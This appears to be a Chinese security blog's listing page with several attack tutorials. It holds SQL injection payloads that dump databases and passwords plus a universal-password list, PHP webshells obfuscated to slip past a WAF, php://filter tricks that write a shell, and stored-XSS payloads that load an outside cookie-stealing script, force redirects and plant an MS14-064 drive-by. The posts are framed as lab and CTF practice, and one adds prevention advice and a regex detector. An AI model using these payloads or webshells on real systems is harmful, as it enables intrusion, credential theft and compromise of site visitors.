a使用group_concat(字段名)显示出最高32位字符长度,password字段的数据id=-1' and updatexml(1, concat(0x7e,( select group_concat(password) from users limit 0,1 )), 3) -- a1.2 substr()获取密码数据案例http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e, substr((select group_concat(password) from users),1,31) ),3) -- qwe1.3 步骤总结适用情况:页面有数据库报错信息1.网站信息必须是动态的,来自数据库的报错信息。 2.网站写死的、自定义的报错信息不算1>.判断是否报错参数中添加单/双引号,页面报错才可进行下一步。?id=1' -- a2>.判断报错条件参数中添加报错函数,检查报错信息是否正常回显。?id=1' and updatexml(1,'~',3) -- a 3>. 脱库//获取所有数据库 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,1,31) ),3) -- qwq //获取所有表 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema ='security') ,1,31) ),3) -- qwq //获取所有字段 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users') ,1,31) ),3) -- qwq五、时间盲注Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。//判断是否存在延时注入 ?id=1' and sleep(5) --+六、宽字节注入宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。//GBK和其他所有ANSI结果为2 echo strlen("中") //UTF-8 echo strlen("中") //结果为3我们先说一下php中对于SQL注入的过滤,这里就不得不提到几个函数了。addslashes()函数,这个函数在预定义字符之前添加反斜杠 。 这个函数有一个特点虽然会添加反斜杠 进行转义,但是 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc()来检测是否已经转义。mysql_real_escape_string() 函数,这个函数用来转义sql语句中的特殊符号x00、n、r、、'、" 、x1a。注: 预定义字符:单引 ',双引 ",反斜 ,NULL 魔术引号:当打开时,所有单引号 '、双引号 " 、反斜杠 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令: magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase 实操:此次采用sqli的Less-32,//正常显示 http://192.168.209.128:88/Less-32/?id=1 -- qwq开始注入://添加引号 http://192.168.209.128:88/Less-32/?id=1' -- qwq//布尔注入 http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq//unionunion注入 http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq发现页面回显信息,每次注入都将进行了转义,这时候就要把 去掉,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。开始注入: http://192.168.1.132:86/Less-32/?id=1 %df 可以发现%df和 ' 组成了一个汉字 把/号干掉之后就可以用unionunion注入查询数据了。http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq注入成功!七、堆叠注入在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。八、二次注入概念二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是SQL注入的一种,但是比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。原理在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc() 对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。过程 插入1‘# 转义成1’# 不能注入,但是保存在数据库时变成了原来的1’# 利用1’#进行注入,这里利用时要求取出数据时不转义 条件 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义) 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户 利用 注册用户名admin’-- -(后面的-是为了突出前面的空格,起到了注释作用) 使用刚刚注册得账号进行登录。 3、查看注册源代码 发现用户在注册的时候没有进行特殊符号过滤,所以再一次说明我们注册的用户成功! 进行修改密码(攻击) 攻击成功 ,返回使用更新后的密码登录账号 admin。 登录成功 修改密码的时候,语句就会变为:$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' -- w' and password='$curr_pass' ";-- w把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa九、User-Agent 注入我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息。当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent。抓包,修改其User-Agent如下图,测试是否存在user-agent注入 页面报错,存在报错注入' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数可以看到,页面将当前的数据库显示出来了。十、Cookie 注入原理cookie注入的原理是:就是修改cookie的值进行注入♦cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie♦要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。条件两个必须条件: 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。 在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数,也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的SQL注入一样了。 十一、万能密码原理原验证登陆语句:SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'输入 1' or 1=1 or '1'='1万能密码语句变为:SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'即得到优先级关系:or<and<not,同一优先级默认从左往右计算。 上面'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 先计算肯定返回false,因为密码是我们乱输入的。(此处是假) Username=‘1’ 返回假,数据库没有1这个用户名(此处是假) 1=1返回真(此处是真) 以上的结果是: 假 or 真 or假 返回真。验证通过。再比如:select tel,pwd where tel='111' and pwd='123456'我们把电话111看成一个变量,输入电话号码为' or 1= '1。sql就变为如下样子:select tel,pwd where tel='' or 1='1' and pwd='123456' 上面1='1' and pwd='123456'先计算肯定返回false。(此处是假) tel=‘’ 返回假,数据库没有''这个手机号。(此处是假) 以上的结果是: 真 or假 返回真。验证通过。常用的万能密码' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1Sql 注入的预防一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行预编译(PreparedStatement)(JSP)可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。PDO(PHP)首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。PDO对于解决SQL注入的原理也是基于预编译。$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.使用正则表达式过滤正则表达式是一种用于匹配模式的工具,在检测 SQL 注入时非常有用。我们可以使用正则表达式来过滤和验证用户输入,以确保输入不包含任何恶意的 SQL 代码。下面是一些常见的正则表达式示例:对用户输入的特殊字符进行严格过滤,如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、unionpattern = re.compile( r"(%27)|(')|(--)|(%23)|(#)|" # Regex for detection of SQL meta-characters r"w*((%27)|('))s+((%6F)|o|(%4F))((%72)|r|(%52))s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or', r"((%3D)|(=))[^n]*((%27)|(')|(--)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --' r"((%27)|('))union|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))select|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))insert|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))update|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))drop", # Regex for detecting SQL Injection with the UNION keyword re.IGNORECASE, ) r = pattern.search("' OR 1 -- -") if r: return True其他Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。使用 Web 应用防火墙。团长想组建一个网安萌新学习群,互相监督,成为网安大佬,如果内容对你有帮助,欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢!原文地址https://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA
2025年05月18日
712 阅读
0 评论
0 点赞
2025-05-18
文件上传10种waf绕过姿势
基础篇:https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg环境搭建首先去官网下载安全狗,进行网站配置,或者后台回复【安全狗】,靶场源码和WAF软件都准备好了,都是最新版本的,直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是在文件后缀添加一个空格就可以上传成功WAF环境已搭好WAF绕过基于文件名称的绕过%00截断首先上传一个php文件,抓包文件后面添加;.jpg将;的hex编码替换为00,造成00截断,如下效果知识扩展%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术,它利用了某些编程语言或系统在处理字符串时的一个特性:即当遇到空字符(null character,ASCII码为0,即�或%00在URL编码中)时,会认为字符串已经结束,从而忽略了空字符之后的所有内容。可以看到,虽然绕过了WAF还是有代码红色警告没有上传成功,这个时候我们就可以在原来有代码漏洞的情况下,进行绕过,原来代码存在空格绕过,这里我们就用空格进行绕过,添加一个空格上传成功,点击查看源码,就可以看到文件上传的位置(这个图片的位置)多个等号这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下哈哈,没有成功,原文是这样写的,可能已经修复了基于内容拦截绕过此时我们访问,这个php文件被拦截了,这就是基于内容的拦截,像经常使用的一句话木马都会被安全狗绕过[1].畸形传参木马这里要用到hackerbox谷歌插件或者使用火狐浏览器,默认下载不是破解的,我准备好了破解版本,后台私信【hackbox】即可<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);//调用 $b 变量所引用的函数,并将 $_POST['z'] 的值作为参数传递给它。 ?>我们所使用的一句话木马是市面上最为常见的类型,因此几乎所有的WAF(Web应用防火墙)都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点,你可以尝试开启安全狗的木马扫描功能,看看它是否能被检测出来,从而判断其是否具备免杀能力。上图可以看到并没有检测到,用get方式传如参数x和y,值分别为b和assert ,再用POST方式传如参数z,值为自己想执行的命令[2].经典编码木马通过assert函数的base64编码后的拼接即可绕过,如下:<?php $e=base64_decode("hellow小羽网安"); $e($_POST['aa']); ?>免杀情况我们将中文放在了后面,此时出现拦截我放在前面试试,还是拦截穿插进去,就可以了,不知道是什么原理,php特性、base64编码检测,还是安全狗防护机制,有大佬路过指教一下,谢谢你执行成功上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下在木马中添加解码操作<?php $e=base64_decode("YX小羽网安NzZ公众号XJ0"); $e(base64_decode($_POST['aa'])); ?>这个时候我们就可以将phpinfo拿去base64进行加密这个时候就可以执行php代码了,绕过了关键字的检测其他失败案例参考复写失败脏数据绕过失败修改为单引号失败去掉双引号失败.php放到引号的外面上传成功,但是并没有这个php文件查看上传之后的文件,并不是php文件那不加后缀试试,显示文件内容,并没有执行所以使用蚁剑也连接不了数据截断绕过-防匹配(; / 换行)失败参数多次失败总结本教程通过实际搭建环境,展示了文件上传中WAF的多种绕过技巧,包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效,但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新,攻击者总能找到新的突破点,而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。网安学习不迷路,欢迎各位大佬加入讨论
2025年05月18日
2,075 阅读
0 评论
0 点赞
2025-05-18
文件包含_PHP filter伪协议利用方式
前言本文主要讲解php filter伪协议,文件包含漏洞php://filter伪协议是PHP中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理、rot13处理等。php://filter伪协议主要用于一体式(all-in-one)的文件函数,如readfile()、file()、file_get_contents()等,这些函数在数据流内容读取之前没有机会应用其他过滤器,而php://filter伪协议则可以在读取或写入数据时对数据进行过滤处理。基本语法php://filter伪协议的基本语法如下:php://filter/<action>/resource=<待过滤的数据流><action>:表示要对数据执行的过滤操作,如读取(read)、转换编码(convert)或字符串操作(string)等。<待过滤的数据流>:通常是要读取或写入的文件路径或URL。过滤器分类php://filter伪协议支持的过滤器主要分为以下几类:字符串过滤器:以string开头,对数据进行字符串处理,如rot13、toupper、tolower、strip_tags等。string.rot13:使用当前字母在字母表后第13个字母替换当前字母。string.toupper、string.tolower:将字符串转换为大写或小写。string.strip_tags:去除字符串中的HTML、XML和PHP标签。转换过滤器:以convert开头,对数据进行编码转换,如base64编码、解码,quoted-printable编码、解码,iconv字符编码转换等。convert.base64-encode/decode:对数据进行Base64编码或解码。convert.quoted-printable-encode/decode:对数据进行Quoted-Printable编码或解码。convert.iconv..:对字符串进行字符编码转换。压缩过滤器:如zlib.deflate(压缩)、zlib.inflate(解压)、bzip2.compress(压缩)、bzip2.decompress(解压)等。加密过滤器:如mcrypt.、mdecrypt.等,用于数据的加密和解密。使用示例以下是一些使用php://filter伪协议的例子:读取文件并进行Base64编码:php复制代码 echo file_get_contents("php://filter/convert.base64-encode/resource=index.php");这行代码会读取index.php文件的内容,并将其进行Base64编码后输出。写入文件并进行Base64解码:php复制代码 file_put_contents("php://filter/write=convert.base64-decode/resource=shell.php", base64_encode("<?php phpinfo(); ?>"));这行代码会将Base64编码的字符串写入shell.php文件,并在写入前进行Base64解码,最终shell.php文件中将包含原始的<?php phpinfo(); ?>代码。注意事项在使用php://filter伪协议时,需要注意过滤器的选择和数据流的指定,以确保数据的正确处理和安全性。在某些环境下,出于安全考虑,可能会对php://filter伪协议的使用进行限制或禁用。靶场复现实战之前,请大佬来吃瓜题1题目ctfshow这里我们的练习题目是,ctfshow的web87,分析源码,file_put_contents函数,将$content的内容(前面附加了一段PHP代码<?php die('大佬别秀了');?>)写入到URL解码后的$file指定的文件中。这段附加的PHP代码会在文件被包含或执行时显示"大佬别秀了"这里,我们可以将我们的payload和这段die代码,对他进行base64编码,发现都是乱码如果我们在base64编码前面加几个字符呢,我们的php一句话木马就可以直接读出来了我们将他复制到这里,进行传参绕过方式参考:全编码工具推荐棱角社区的https://forum.ywhack.com/coding.php首先将我们的payload进行全编码然后再使用ur编码对目标文件进行传参?file=【你的payload】此时我们去访问我们上传的php代码,文件列表已经列出来了找到源码题2ctfshow的练习web116提示只有这一个视频查看源码也没发现什么东西那就从文件下手我们拿010编辑器看文件尾部,发现是一个图片结束的16进制的图片文件图片进制表这里我们查找有没有png的内容找到指定选项从这里开始一直到最后,把他复制下来新建一个文本文件粘贴保存png图片发现是源代码,检查过滤协议发现file和php协议没有过滤,抓包即可,php协议测试file协议测试
2025年05月18日
1,503 阅读
0 评论
0 点赞
2025-05-18
XSS高级用法,SEO,挂ma,MS14_064利用
XSS高级用法,SEO,挂ma,MS14_064利用以下所有的针对XSS的利用方式都是对XSS的深一步的学习了解、请勿于未授权环境下进行非法操作!!!XSS平台:https://xssaq.com/<sCRiPt sRC=//xs.pe/PNb></sCrIpT> 这里有一个XSSlabs,利用我们的payloadXSS平台已上线查看功能这里面有源码,XSS站点的ua头,还有存储用户cookie信息机器的真实IP地址地址很明确,是我自己的地址广告传播/SEO优化/刷取流量原理通过恶意的XSS代码将正常的页面跳转到目的地的页面,利用网站进行重定向实现引流、广告位传播等等。实操恶意刷取访问量,网页直接跳转<script type="text/javascript">window.location.href="跳转的目的地址";</script> <script type="text/javascript">window.location.replace("跳转的目的地址");</script> <script type="text/javascript">window.location.assign("跳转的目的地址");</script> 注入成功,再次访问这个页面就会自动跳转到你的页面,从而达到访问量+1第二种,网页延迟跳转<script type="text/javascript"> function jumurl(){ window.location.href = 'https://www.baidu.com'; } setTimeout(jumurl,3000); </script> 恶意广告展示(需要5块钱吃外卖的记得扫个码嘞,美团优惠卷+平台双减)<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=https://pic1.zhimg.com/v2-656b7df981ea18d18f196995f477d75d_xll.jpg?source=32738c0c&needBackground=1></iframe>");</script> 三、网页挂马/权限提升(MS14_064)目的 通过木马服务器(Kali)搭建生成一个恶意URL地址,并通过存储型XSS挂到页面中。只要存在未打相应补丁的用户访问了挂马页面,恶意攻击者便获取到了受害者的控制权限(重点在于目的系统是否打了相应补丁)环境木马服务器(Kali MS14-064 IP:192.168.7.129) 受害者(Windows Server 2003 R2 IP:192.168.7.136) 存在 XSS 的服务器(Win10 DVWA靶机 IP:192.168.1.103)MS14_064:受影响的操作系统版本有:Windows Vista、Windows Server 2012、Windows Server 2008、Windows RT、Windows 8.1、Windows 8 以及 Windows 7.打开msf搜索 ms14_064依次设置好参数没有成功,不知道为什么,我win7补丁都卸载了,这里只做演示,可以参考下文https://blog.csdn.net/theRavensea/article/details/136793078 XSS插入地址这个时候就能利用存储型xss漏洞将木马服务器生成的地址插入到网站中,这样只要有人的电脑存在该漏洞,就能上线:可自行测试,我这里不是全新的win7,没有成功学习于:https://blog.csdn.net/Aaron_Miller/article/details/105918848
2025年05月18日
1,517 阅读
0 评论
0 点赞
1
...
9
10
11
...
14